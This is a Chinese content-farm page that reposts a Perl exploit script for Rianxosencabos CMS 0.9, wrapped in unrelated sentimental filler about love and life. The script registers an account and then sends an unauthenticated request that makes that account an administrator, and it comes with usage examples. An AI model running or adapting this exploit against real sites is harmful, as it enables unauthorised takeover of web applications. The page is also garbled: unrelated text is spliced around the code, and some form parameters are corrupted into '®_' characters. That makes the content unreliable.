山无陵，江水为竭。冬雷震震，夏雨雪。天地合，乃敢与君绝。多美的誓言，却也敌不过时间的轮转，岁月的流逝。
#!/usr/bin/perl -w
# Rianxosencabos CMS 0.9 Remote Add Admin Exploit# Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz # written by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org - use LWP::UserAgent; my ($host, $login, $pass, $mail, $user_id) = @ARGV ; unless($ARGV[4]){
print "[*] usage: perl $0 <host> <login> <pass> <mail> <user_id>\n";
print "[*] ex: perl $0 http://localhost/ ka0x 12345 ka0x01[at]gmail.com 2\n";
exit 1;
} if ($host !~ /^http:/){ $host = 'http://'.$host; } my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout(10) ; sub __CREATE { my $req = HTTP::Request->new(POST => $host."index.php?s=usuarios&accion=registrar") ;
$req->content_type('application/x-www-form-urlencoded') ;
$req->content("reg_login=".$login."®_pass=".$pass."®_repass=".$pass."®_nombre=".$login."®_mail=".$mail."&submit_register=Rexistrar") ; my $res = $ua->request($req) ;
my $location = $res->header('Location') ;
if ($location =~ /Usuario creado/i) {
print "[ ] user added: ".$login ;
print "\n[ ] password: ".$pass, "\n" ;
} else{
print "[-] Exploit Failed!\n" ;
}
} &__CREATE ; sub __ADMIN {
my $req = HTTP::Request->new(POST => $host."?s=admin&accion=lista") ; $req->content_type('application/x-www-form-urlencoded') ; $req->content($user_id."=0&inputOculto=".$user_id) ; $ua->request($req) ;
} &__ADMIN ;
__END__
到此这篇关于Rianxosencabos CMS 0.9 Remote Add Admin Exploit 就介绍到这了。来者要惜，去者要放。人生是一场，不是所有人都会去同一个地方。路途的邂逅，总是，分手的驿高中生作文，总是凄凉。不管喜与愁，该走的还是要走，该来的终究会来。人生的旅程，大半是孤单。懂得，来的俱是美丽；舍得放手，走的不成负担。对过去，要放；对现在，要惜；对将来，要信。更多相关Rianxosencabos CMS 0.9 Remote Add Admin Exploit 内容请查看相关栏目，小编编辑不易，再次感谢大家的支持！
